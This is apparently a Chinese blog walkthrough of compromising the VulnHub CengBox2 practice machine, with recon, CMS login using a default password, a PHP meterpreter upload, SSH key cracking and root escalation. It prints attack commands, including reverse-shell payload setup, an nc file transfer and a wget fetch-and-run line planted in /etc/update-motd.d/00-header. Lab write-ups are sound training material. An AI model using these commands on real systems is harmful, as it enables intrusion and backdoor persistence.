​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载。

难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengBox2.ova天翼云盘:https://cloud.189.cn/t/nq6r6jQVRZBz百度网盘:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取码:gt6g官网简介:Ceng Company似乎正在维护,但仍可能运行着某些业务渗透目标:获取普通用户以及root用户权限本机地址:192.168.110.27靶机地址:192.168.110.30, 192.168.110.32

信息收集

老规矩,还是nmap开路。

nmap 192.168.110.0/24

扫描结果显示共开启了3个端口,分别运行着FTP、SSH和HTTP服务。一般来说,漏洞出现在HTTP服务的可能性最大,首先看看网站有什么敏感信息。

显示网站正在维护,源码中也没有提供任何有用的信息。那么就需要使用dirb扫描网页目录了。

dirb 192.168.110.30

只扫到了两个页面,index.html很明显是刚才访问的主页,而server-status是不可能有权限访问的,也就是说,dirb没有扫出有用信息。

既然80端口找不到突破点,那么看看FTP服务可不可以匿名登录。

ftp 192.168.110.30

可以匿名登录,查看一下ftp目录下有什么敏感文件。

ls 

有一个名为note.txt的文件,不管三七二十一,先下载下来再说。

get note.txt

下载完成,查看文件内容。

文件内容提示Aaron用默认密码初始化了Kevin的账号,并且把站点转移到了ceng-company.vm域下。猜测通过域名和IP访问网站的相应结果不同。

修改hosts文件,把ceng-company.vm定向到192.168.110.30。

sudo vim /etc/hosts

接下来使用浏览器访问ceng-company.vm看看是否有不同的返回结果。

很遗憾,还是之前的页面。再次使用dirb扫描看看。

依然没有有用的信息,不过既然靶机作者给出了提示,那么突破点就应该在网页上。

考虑到ceng-company.vm是一级域名,而绝大多数网站都是通过二级域名访问的,例如www.sogou.com、blog.csdn.net等。因此考虑在ceng-company.vm前加上前缀,组成二级域名,看网站是否有不同的响应。

vim /etc/hosts

这里添加了www、bbs、login、admin和blog这几个常见的前缀。经过测试,admin.ceng-company.vm会显示禁止访问,而其他二级域名则显示与ceng-company.vm一样的结果。

admin.ceng-company.vm一定有猫腻,再次使用dirb扫描。

dirb http://admin.ceng-company.vm

这次的结果更惨,只扫到一个页面。虽然没有扫描出什么结果,但admin.ceng-company一定是靶机的突破口,应该是dirb默认的字典不够大才无法扫描到有用的结果。

结合以前使用dirbuster需要一个小时才能扫描完成的经历,将默认字典换成dirbuster的字典再次尝试,由于dirbuster的自带的字典过于庞大,需要使用-w参数才能正常使用。

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w

功夫不负有心人,经过漫长的等待,终于发现了一个可以访问的目录。

网页端查看该目录,发现是一个CMS。

点击网页的所有链接发现没有有用的信息后,尝试访问login页面。

由于note.txt中给出了提示,Kevin的账号是使用默认密码初始化的,尝试E-mail为kevin@ceng-company.vm,密码为admin登录。

登录成功后网页又跳转到初始页面,那么就试试admin页面。

查看页面内容后发现Content -> File Manager可以上传文件。

通过这个页面应该可以上传PHP木马,接下来需要配合msf等工具生成PHP木马,并获取靶机的远程shell。

漏洞利用

首先需要使用msf生成PHP木马。

msfconsole use multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun

这几条命令将会生成shell命令,复制eval部分内容保存成php脚本文件,然后上传到靶机上。

显示上传成功,但是在网页端并没有查看到shell.sh,可能被服务器过滤了。接下来尝试上传到tmp目录。

上传成功,访问admin.ceng-company.vm/gila/tmp/shell.php。

显示禁止访问,这应该与.htaccess文件有关,打开.htaccess,重命名为.htaccess.bak。

闯大祸了,修改文件名之后所有的页面都不可访问,这下彻底没有办法了。由于没有对靶机做备份,需要重新导入ova文件,靶机的IP更新为192.168.110.32。

这里的原因是删除了根目录下的.htaccess,本来只需要删除tmp下的.htaccess文件即可。

将其重命名为.htaccess.bak。

然后再访问admin.ceng-company.vm/gila/tmp/shell.php。

msf成功获取靶机shell。

sessions l

sessions -i 1shell

将不好用的shell改为bash。

whereis python

系统中安装了python2.7和python3.5。

python3.5 -c 'import pty; pty.spawn("/bin/bash")'

权限提升

切换到家目录查看有哪些用户。

cd /homedir

其中无法进入mitnick目录,可以进入swartz目录。

查看当前目录下有没有可以利用的文件。

ls -l

查看文件内容。

cat runphp.sh

该文件的功能为交互式运行php,查看是否可以以swartz权限执行该脚本。

sudo -l

果然,是可以免密码以swartz权限执行runphp.sh的。

sudo -u swartz ./runphp.sh

需要注意参数,./runphp.sh和/home/swartz/runphp.sh都可以,但是不能直接使用文件名,否则还是需要输入密码。

接下来使用交互式php获取swartz的shell。

pcntl_exec('/bin/bash');

再次尝试进入mitnick家目录。

成功进入,查看该目录下有无提示。

ls -la

有一个名为user.txt的文件,但是没有任何权限,很明显,这是在提示需要提权到mitnick用户才能进入下一步。

查找一下有什么文件可以以mitnick或root权限运行。

sudo -l

很遗憾,需要密码。这时候注意到mitnick家目录下有.ssh文件夹,进入文件夹查看。

查看id_rsa。

接下来尝试使用John the Rapper暴力破解密码。

nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key

将mitnick.key转换成john可识别的文件。

/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john

使用John the Rapper暴力破解。

locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john

几秒钟就将密码爆破出来了。接着使用mitnick.key登录靶机。

ssh -i mitnick.key mitnick@ceng-company.vm

无法登录,原因是mitnick.key权限为644,需要改成600才能登录。

chmod 600 mitnick.keyssh -i mitnick.key mitnick@ceng-company.vm

查看user.txt

cat user.txt

第一个flag已经拿到。现在需要提权到root,首先查找有哪些可以利用的文件。

find / -type f -perm -g+rwx 2>/dev/null

update-motd.d文件夹下的脚本会在用户通过SSH登录时由root运行,主要的作用是在登录时显示消息。既然有写权限,那么进行反弹shell。

使用msf生成反弹shell脚本。

use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun

执行之后将会生成一个wget命令。

将该命令写进脚本并设置可执行权限。

echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh

chmod 777 rootShell.sh

最后将rootShell.sh写进00-header。

echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header

注销SSH会话,重新连接。

exitssh -i mitnick.key mitnick@192.168.110.32

此时msf已经成功获取shell。

sessions -lsessions -i 1

检查权限,切换成bash。

idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'

查找flag。

cd /rootlscat root.txt

至此,对靶机的渗透已经全部完成。

VulnHub CengBox2靶机渗透的更多相关文章

  1. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  2. Vulnhub JIS-CTF-VulnUpload靶机渗透

    配置问题解决 参考我的这篇文章https://www.cnblogs.com/A1oe/p/12571032.html更改网卡配置文件进行解决. 信息搜集 找到靶机 nmap -sP 192.168. ...

  3. Vulnhub webdeveloper靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...

  4. Vulnhub DC-8靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.146 #Enable OS detection, version detection ...

  5. Vulnhub DC-7靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.144 #端口扫描 查看robots.txt,看看admin,403,其他没有什么可利 ...

  6. Vulnhub DC-3靶机渗透

    修改错误配置 打开了ova文件会发现,怎么也找不到DC-3的ip地址,估计是网卡出了问题. 那么就先配置下网卡. 进入上面这个页面之前按e. 将这里的ro 替换为 rw signie init=/bi ...

  7. Vulnhub DC-1靶机渗透

    简介 DC-1靶机是为了入门渗透测试的人准备的入门级的靶机,该靶机共有5个flag,其中最后一个finalflag是真的flag,其他都是提示性flag.这个靶机虽然简单,但是还是能学到一些基本的思路 ...

  8. Vulnhub bulldog靶机渗透

    配置 VM运行kali,桥接模式设置virtualbox. vbox运行靶机,host-only网络. 信息搜集 nmap -sP 192.168.56.0/24 或者 arp-scan -l #主机 ...

  9. Vulnhub FristiLeaks靶机渗透

    VM上配置 VMware users will need to manually edit the VM's MAC address to: 08:00:27:A5:A6:76 VM上选择本靶机,编辑 ...

随机推荐

  1. 虚拟机安装中标麒麟桌面版7.0系统 + 升级Firefox浏览器

    背景 由于公司业务(政府项目)需要走国产化路线,需要把原来已有的产品在国产的系统进行测试.目前选择的是中标麒麟系统,这是一款国产系统,界面 UI 和 window 类似,系统内核使用的是 Linux ...

  2. 2020本科校招-从小白到拿到30k offer的学习经历

    本文是个人的2020年年中总结 还有十几天就要毕业,面临着身份从学生到互联网社畜的转变,未来的一切捉摸不定,但凡心中万千情绪,也只能「但行好事,莫问前程」. 介绍下博主背景:计算机本科大四,刚进大三时 ...

  3. Java实现 蓝桥杯VIP 算法训练 JAM计数法

    题目描述 Jam是个喜欢标新立异的科学怪人.他不使用阿拉伯数字计数,而是使用小 写英文字母计数,他觉得这样做,会使世界更加丰富多彩.在他的计数法中,每个数字的位数都是相同的(使用相同个数的字母),英文 ...

  4. Java实现 蓝桥杯VIP 算法训练 猴子分苹果

    问题描述 秋天到了,n只猴子采摘了一大堆苹果放到山洞里,约定第二天平分.这些猴子很崇拜猴王孙悟空,所以都想给他留一些苹果.第一只猴子悄悄来到山洞,把苹果平均分成n份,把剩下的m个苹果吃了,然后藏起来一 ...

  5. Java实现 蓝桥杯 算法提高 计算行列式

    试题 算法提高 计算行列式 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 //据说很多人的题目会有一大堆废话,本傻×就不在这里废话了. 给定一个N×N的矩阵A,求|A|. 输入格式 ...

  6. Java实现 蓝桥杯 历届试题 横向打印二叉树

    问题描述 二叉树可以用于排序.其原理很简单:对于一个排序二叉树添加新节点时,先与根节点比较,若小则交给左子树继续处理,否则交给右子树. 当遇到空子树时,则把该节点放入那个位置. 比如,10 8 5 7 ...

  7. (九)不安全的HTTP方法

    01 漏洞描述 <HTTP | HTTP报文>中介绍了HTTP的请求方法.在这些方法中,HTTP定义了一组被称为安全方法的方法:GET.HEAD.OPTIONS.TRACE,这些方法不会产 ...

  8. “造轮运动”之 ORM框架系列(三)~ 干货呈上

     这一趴里面,我就来正式介绍一下CoffeeSQL的干货.    首先要给CoffeeSQL来个定位:最开始就是由于本人想要了解ORM框架内部的原理,所以就四处搜寻有关的博客与学习资料,就是在那个夏天 ...

  9. android日常开发总结的技术经验60条

    全部Activity可继承自BaseActivity,便于统一风格与处理公共事件,构建对话框统一构建器的建立,万一需要整体变动,一处修改到处有效. 数据库表段字段常量和SQL逻辑分离,更清晰,建议使用 ...

  10. 并发编程之sun.misc.Unsafe类

    1.Unsafe知识点整理 2.代码: package com.javabasic.unsafe; import java.lang.reflect.Field; import sun.misc.Un ...